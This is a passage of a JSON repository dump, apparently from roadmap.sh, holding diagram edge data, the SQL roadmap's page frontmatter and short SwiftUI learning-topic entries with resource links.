\"reactflow__edge-nhUKKWyBH80nyKfGT8ErCz2-fNTb9y3zs1HPYclAmu_Wvy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"bFEYMlqPZtTUYtDQxqHzT\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-LX9nzJ4uqznHN4SksoDvry2-bFEYMlqPZtTUYtDQxqHzTz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"9aHYrOQDkA84tlxcVK5aD\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-LX9nzJ4uqznHN4SksoDvry2-9aHYrOQDkA84tlxcVK5aDz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YqDJq3fPxUZlwsdq0kJg7\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-LX9nzJ4uqznHN4SksoDvry2-YqDJq3fPxUZlwsdq0kJg7z2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Zw8IHfCCMSxmVjx5Ho5ff\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-LX9nzJ4uqznHN4SksoDvry2-Zw8IHfCCMSxmVjx5Ho5ffz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"HhICJpCK5__b-itUoEBES\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-LX9nzJ4uqznHN4SksoDvry2-HhICJpCK5__b-itUoEBESz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LX9nzJ4uqznHN4SksoDvr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"qBios3sZVhcJMpXmj9f7B\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"id\": \"reactflow__edge-LX9nzJ4uqznHN4SksoDvrx2-8V6yw7kLaow-VVcv_K_pLy1\",\n      \"type\": \"smoothstep\"\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"qBios3sZVhcJMpXmj9f7B\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8V6yw7kLaow-VVcv_K_pL\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-qBios3sZVhcJMpXmj9f7Bx2-8V6yw7kLaow-VVcv_K_pLw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"8V6yw7kLaow-VVcv_K_pL\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"86iZ8s8EdhSuYwgwAM_EO\",\n      \"targetHandle\": \"z2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-8V6yw7kLaow-VVcv_K_pLy2-86iZ8s8EdhSuYwgwAM_EOz2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"86iZ8s8EdhSuYwgwAM_EO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"xkPJ2MYiXmzC4yqQWyB_7\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-86iZ8s8EdhSuYwgwAM_EOy2-xkPJ2MYiXmzC4yqQWyB_7z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"86iZ8s8EdhSuYwgwAM_EO\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"JZqS3Xapw6mfSPVgFW7av\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-86iZ8s8EdhSuYwgwAM_EOy2-JZqS3Xapw6mfSPVgFW7avz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vTMd0bqz4eTgLnhfgY61h\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"6FdHTzqQwJqR4czP5qXAY\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-vTMd0bqz4eTgLnhfgY61hz2-6FdHTzqQwJqR4czP5qXAYy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"LcljR70T-OnzSrJJDqOWf\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"OdaBXz2XBAVLsQ-m7xtAM\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-LcljR70T-OnzSrJJDqOWfx2-UDqbT1y-YzBrljfKSz_RGw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"OdaBXz2XBAVLsQ-m7xtAM\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"R1ktDJpXOz0PTllAcBrdu\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-OdaBXz2XBAVLsQ-m7xtAMy2-UDqbT1y-YzBrljfKSz_RGz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"R1ktDJpXOz0PTllAcBrdu\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"w7FNjdwqjY7X69aJqqBy4\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-R1ktDJpXOz0PTllAcBrduy2-UDqbT1y-YzBrljfKSz_RGz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"w7FNjdwqjY7X69aJqqBy4\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"4rqCPpTb0dAgpheBKshRG\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-w7FNjdwqjY7X69aJqqBy4x2-UDqbT1y-YzBrljfKSz_RGw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4rqCPpTb0dAgpheBKshRG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"C6P69YiFdS-ioPXMNfX07\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGx2-C6P69YiFdS-ioPXMNfX07w1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"4rqCPpTb0dAgpheBKshRG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-4rqCPpTb0dAgpheBKshRGz2-UDqbT1y-YzBrljfKSz_RGw1\",\n      \"selected\": true,\n      \"type\": \"smoothstep\",\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tBvXLLp5FKeSSN35Kj1X4\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGz2-tBvXLLp5FKeSSN35Kj1X4y1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"nwFaz9i-1s0WVrVaFsoqb\",\n      \"targetHandle\": \"y2\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGz2-nwFaz9i-1s0WVrVaFsoqby2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"TjgwabhEtaSoYMLNr6q9l\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGz2-TjgwabhEtaSoYMLNr6q9ly1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tedQynR0xicVKhuR1oahw\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGz2-tedQynR0xicVKhuR1oahwy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"z5Sf0VU14ZCQ80kL1qOqc\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGz2-z5Sf0VU14ZCQ80kL1qOqcy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-UDqbT1y-YzBrljfKSz_RGx2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"WigElh37ztiRYRstQR9NE\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"zEWmq0Y1LFPMQelpucrph\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-WigElh37ztiRYRstQR9NEz2-zEWmq0Y1LFPMQelpucrphy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}\n"
  },
  {
    "path": "src/data/roadmaps/sql/sql.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/sql.json'\npdfUrl: '/pdfs/roadmaps/sql.pdf'\norder: 0.5\nrenderer: 'editor'\nbriefTitle: 'SQL'\nbriefDescription: 'Step by step guide to learning SQL in 2025'\ntitle: 'SQL Roadmap'\ndescription: 'Step by step guide to learning SQL in 2025'\nisNew: false\nhasTopics: true\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\ndimensions:\n  width: 968\n  height: 2270\nschema:\n  headline: 'SQL Roadmap'\n  description: 'Comprehensive roadmap to learn SQL from scratch in 2025. From basic syntax to advanced querying, this step-by-step guide will equip you with the skills needed to excel in database management and data analysis.'\n  imageUrl: 'https://roadmap.sh/roadmaps/sql.png'\n  datePublished: '2023-07-10'\n  dateModified: '2023-07-10'\nseo:\n  title: 'SQL Roadmap'\n  description: 'Comprehensive roadmap to learn SQL from scratch in 2025. From basic syntax to advanced querying, this step-by-step guide will equip you with the skills needed to excel in database management and data analysis.'\n  ogImageUrl: 'https://roadmap.sh/og-images/sql-roadmap.png'\n  keywords:\n    - 'sql'\n    - 'sql tutorial'\n    - 'sql for beginners'\n    - 'how to learn sql'\n    - 'step by step guide for sql'\n    - 'use sql in production'\n    - 'guide to learning sql'\n    - 'sql roadmap'\n    - 'sql roadmap 2024'\n    - 'sql roadmap 2025'\n    - 'sql learning path'\n    - 'sql learning roadmap'\n    - 'sql learning guide'\n    - 'sql skills'\n    - 'sql for development'\n    - 'sql for development skills'\n    - 'sql for development skills test'\n    - 'sql learning guide'\n    - 'become a sql expert'\n    - 'sql career path'\n    - 'learn sql for development'\n    - 'what is sql'\n    - 'sql quiz'\n    - 'sql interview questions'\nrelatedRoadmaps:\n  - 'postgresql-dba'\n  - 'backend'\n  - 'devops'\n  - 'cpp'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/access-control@SRZfkrqxU2UxFif4v4t3o.md",
    "content": "# Access Control\n\nAccess control lets you restrict which parts of your code can be used and accessed by other parts of your code, or from code in other files and modules. It's like setting permissions on different components of your app, ensuring that sensitive data and internal workings are protected from unintended use or modification. You can specify different access levels, such as `private`, `fileprivate`, `internal`, `public`, and `open`, to control the visibility and accessibility of entities like classes, structures, properties, and functions.\n\nVisit the following resources to learn more:\n\n- [@official@Access Control](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/accesscontrol)\n- [@article@Swift Access Control](https://www.programiz.com/swift-programming/access-control)\n- [@article@Swift Access Control: A Developer’s Guide to open, public, internal, fileprivate and private](https://mehrdad-ahmadian.medium.com/swift-access-control-a-developers-guide-to-open-public-internal-fileprivate-and-private-79d2dd595287)\n- [@video@Introduction to Swift: Access control](https://www.youtube.com/watch?v=SVXtWw63C8k)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/accessibility@-u5-uN2x0uuvkLieoq7Nr.md",
    "content": "# Accessibility\n\nAccessibility focuses on making your app usable by everyone, including people with disabilities. This involves providing alternative ways to interact with your app's content and controls, such as using screen readers, switch controls, or larger fonts. By implementing accessibility features, you ensure that your app is inclusive and provides a positive experience for all users, regardless of their abilities.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility modifiers](https://developer.apple.com/documentation/swiftui/view-accessibility)\n- [@article@Accessibility: Introduction](https://www.hackingwithswift.com/books/ios-swiftui/accessibility-introduction)\n- [@article@Mastering SwiftUI Accessibility: A Comprehensive Guide](https://medium.com/@GetInRhythm/mastering-swiftui-accessibility-a-comprehensive-guide-919358e9c01a)\n- [@video@Catch up on accessibility in SwiftUI](https://developer.apple.com/videos/play/wwdc2024/10073/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/actors@sZeSwx_Rb0H81oA7KUw9m.md",
    "content": "# Actors\n\nActors are a concurrency model that provides a way to isolate state and prevent data races in concurrent Swift programs. They encapsulate mutable state and allow access to that state only through asynchronous message passing. This ensures that only one task can access the actor's state at any given time, eliminating the need for locks or other complex synchronization mechanisms. Actors are particularly useful in Swift and SwiftUI for managing shared data across different parts of your application, especially when dealing with asynchronous operations.\n\nVisit the following resources to learn more:\n\n- [@official@Actors](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency/#Actors)\n- [@article@What is an actor and why does Swift have them?](https://www.hackingwithswift.com/quick-start/concurrency/what-is-an-actor-and-why-does-swift-have-them)\n- [@video@How to use Actors and non-isolated in Swift | Swift Concurrency #9](https://www.youtube.com/watch?v=UUdi137FySk)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/alamofire@47Sc0VzbRMKYb-3ivhNG3.md",
    "content": "# Alamofire\n\nAlamofire is a Swift-based HTTP networking library that simplifies the process of making network requests in your iOS, macOS, tvOS, and watchOS applications. It provides an elegant interface built on top of Apple's `URLSession` to handle common networking tasks like making GET, POST, PUT, and DELETE requests, handling response data, and managing request parameters. Alamofire abstracts away much of the complexity involved in working directly with `URLSession`, making network code cleaner and easier to read.\n\nVisit the following resources to learn more:\n\n- [@opensource@Alamofire](https://github.com/Alamofire/Alamofire)\n- [@article@Alamofire Tutorial with Swift (Quickstart)](https://codewithchris.com/alamofire/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/animatable-protocol@gktNK5eNvTJ3vqmPdHYCC.md",
    "content": "# Animatable Protocol\n\nThe `Animatable` protocol allows you to customize how changes to your custom data types are animated in SwiftUI. By conforming to this protocol, you define a `var animatableData: Self.AnimatableData` property that SwiftUI uses to interpolate between the starting and ending values of your data during an animation. This enables smooth transitions for properties that aren't directly animatable by default, giving you fine-grained control over animation behavior.\n\nVisit the following resources to learn more:\n\n- [@official@Animatable](https://developer.apple.com/documentation/SwiftUI/Animatable)\n- [@article@How to create animatable views, modifiers, and more](https://www.hackingwithswift.com/quick-start/swiftui/how-to-create-animatable-views-modifiers-and-more)\n- [@article@The magic of Animatable values in SwiftUI](https://swiftwithmajid.com/2020/06/17/the-magic-of-animatable-values-in-swiftui/)\n- [@video@Animate Custom shapes with AnimateableData in SwiftUI | Advanced Learning #7](https://www.youtube.com/watch?v=kzrtiPbR3LQ)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/animations@Ui6hCqvVwf61wXBOxYG6Q.md",
    "content": "# Animations\n\nAnimations allow you to visually enhance your app's user interface by creating smooth transitions and dynamic effects. They involve changing properties of views over time, making your app feel more responsive and engaging. You can animate things like size, position, opacity, and color, adding a layer of polish and feedback to user interactions.\n\nVisit the following resources to learn more:\n\n- [@official@Animations](https://developer.apple.com/documentation/swiftui/animations)\n- [@official@Animating views and transitions](https://developer.apple.com/tutorials/swiftui/animating-views-and-transitions)\n- [@video@WWDC23: Explore SwiftUI animation | Apple](https://www.youtube.com/watch?v=IuSuHJs5-KE)\n- [@video@Customizing animations in SwiftUI – Animation SwiftUI Tutorial 2/8](https://www.youtube.com/watch?v=8TG_dMF0s7g)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/app-architecture@UCv-FDzB1O-zRH700Im8i.md",
    "content": "# App Architecture\n\nApp architecture is the structural design of an application, defining its components, their relationships, and how they interact to achieve the app's functionality. It provides a blueprint for organizing code, managing data, and handling user interactions, ensuring the app is maintainable, scalable, and testable. A well-defined architecture helps developers understand the codebase, collaborate effectively, and adapt to changing requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Exploring the structure of a SwiftUI app](https://developer.apple.com/tutorials/swiftui-concepts/exploring-the-structure-of-a-swiftui-app)\n- [@article@xChoosing a Design Pattern for your SwiftUI App](https://medium.com/@alexanderson_16451/choosing-a-design-pattern-for-your-swiftui-app-163c06ffcd9b)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/app-lifecycle@FfREh4vs6KqWEUQ44pDmA.md",
    "content": "# App Lifecycle\n\nThe app lifecycle manages the state and behavior of your application from launch to termination. It's primarily handled through the `@main` attribute, which designates the entry point of your app. The `App` protocol defines the structure of your application, including the initial scene that's displayed to the user. SwiftUI automatically manages the creation and destruction of your app's scenes, responding to system events like activation, deactivation, and backgrounding, allowing you to react to these state changes and manage resources accordingly.\n\nVisit the following resources to learn more:\n\n- [@article@The Simple Life(cycle) of a SwiftUI View in 2025](https://captainswiftui.substack.com/p/the-simple-lifecycle-of-a-swiftui)\n- [@video@SwiftUI View Lifecycle](https://www.youtube.com/watch?v=5pqc7y43auQ)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/arc@HBd_J1jUMW-a0Z_Hk9BSL.md",
    "content": "# Automatic Reference Counting (ARC)\n\nAutomatic Reference Counting (ARC) is a memory management feature in Swift that automatically frees up memory used by class instances when they are no longer needed. It works by tracking how many references exist to each object. When the reference count drops to zero, meaning no other parts of the code are using that object, ARC deallocates the memory, preventing memory leaks. This process is automatic, reducing the need for manual memory management like in some other languages.\n\nVisit the following resources to learn more:\n\n- [@official@Automatic Reference Counting](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/automaticreferencecounting/)\n- [@article@A detailed explanation of how ARC works in Swift](https://medium.com/@ahmed044/a-detailed-explanation-of-how-arc-works-in-swift-8076fc79e03b)\n- [@article@Understanding Swift ARC: The Complete Guide to Memory Management](https://www.dhiwise.com/post/understanding-swift-arc-complete-guide-to-memory-management)\n- [@video@WWDC21: ARC in Swift: Basics and beyond | Apple](https://www.youtube.com/watch?v=GFq6sV2jD_c)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/arithmetic@Q44dJaEA7aHG_ClMwO9Wv.md",
    "content": "# Arithmetic Operators in Swift\n\nArithmetic operators are special symbols that perform mathematical calculations on values. Swift provides standard arithmetic operators like addition (+), subtraction (-), multiplication (*), and division (/). It also includes the remainder operator (%), which calculates the remainder after division. These operators are fundamental for performing calculations and manipulating numerical data within your Swift code.\n\nVisit the following resources to learn more:\n\n- [@official@Arithmetic Operators](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/basicoperators/#Arithmetic-Operators)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/asynchronous-functions@60_LHnRY7FVwLziq7VBkz.md",
    "content": "# Asynchronous Functions\n\nAsynchronous functions allow your program to start a potentially long-running task and then continue executing other code without waiting for that task to complete. When the asynchronous task finishes, it can notify your program, which can then process the results. This approach prevents your app from freezing or becoming unresponsive while waiting for operations like network requests or file processing to finish.\n\nVisit the following resources to learn more:\n\n- [@official@Concurrency](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency/)\n- [@article@Asynchronous Functions](https://www.hackingwithswift.com/quick-start/concurrency/what-is-an-asynchronous-function)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/asynchronous-sequences@xu2GOHaW721Gi0b1ua3Kh.md",
    "content": "# Asynchronous Sequences\n\nAsynchronous sequences allow you to iterate over a series of values that arrive over time, potentially from different threads or even across a network. Unlike regular sequences, where all elements are immediately available, asynchronous sequences produce elements as they become available, enabling you to handle data streams, network responses, or any other data source that emits values asynchronously. This is particularly useful for managing concurrent operations and building responsive user interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@Asynchronous Sequences](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/concurrency/#Asynchronous-Sequences)\n- [@official@AsyncSequence](https://developer.apple.com/documentation/swift/asyncsequence)\n- [@article@AsyncSequence explained with Code Examples](https://www.avanderlee.com/concurrency/asyncsequence/)\n- [@video@Meet AsyncSequence](https://developer.apple.com/videos/play/wwdc2021/10058/)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/background@QK0trIIACmUHEuoLEBKs4.md",
    "content": "# Background View Modifier\n\nThe `background` view modifier in SwiftUI allows you to set a background for a view. This background can be a color, a shape, or even another view. It's applied behind the content of the view it modifies, effectively layering content on top of the background you specify. You can customize the appearance of the background, such as its color, shape, and how it fills the available space.\n\nVisit the following resources to learn more:\n\n- [@official@Background](https://developer.apple.com/documentation/swiftui/view/background(alignment:content:))\n- [@official@Adding a background to your view](https://developer.apple.com/documentation/swiftui/adding-a-background-to-your-view)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/basic-functions@MXlCVXs2fEyV_UmV-w8hB.md",
    "content": "# Basic Functions\n\nFunctions are self-contained blocks of code that perform a specific task. You define a function with a name, a set of inputs (parameters), and a return type. When you call a function, you execute the code within its block, potentially passing in values for the parameters, and the function may return a value as a result. They help organize code, make it reusable, and improve readability.\n\nVisit the following resources to learn more:\n\n- [@official@Functions](https://docs.swift.org/swift-book/documentation/the-swift-programming-language/functions/#Defining-and-Calling-Functions)\n- [@article@Swift Functions](https://www.programiz.com/swift-programming/functions)\n- [@video@How to use Functions in Swift | Swift Basics #5](https://www.youtube.com/watch?v=kr3SSplrJlw)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/binding@k7mMeSXQjY0fygLJj7Gr-.md",
    "content": "# @Binding\n\n`@Binding` creates a two-way connection between a view and a source of truth that lives elsewhere. It essentially provides a way for a view to read and modify a value that's owned and managed by another view or data structure. When the view modifies the bound value, the original source of truth is automatically updated, and vice versa, ensuring data consistency across your application.\n\nVisit the following resources to learn more:\n\n- [@official@Binding](https://developer.apple.com/documentation/swiftui/binding)\n- [@article@What is the @Binding property wrapper?](https://www.hackingwithswift.com/quick-start/swiftui/what-is-the-binding-property-wrapper)\n- [@video@SwiftUI - @Binding Property Wrapper Explained - Passing Data](https://www.youtube.com/watch?v=lgtB3WLEOYg)"
  },
  {
    "path": "src/data/roadmaps/swift-ui/content/booleans@xn2iNnrxx-jhIMLpfU5Mi.md",
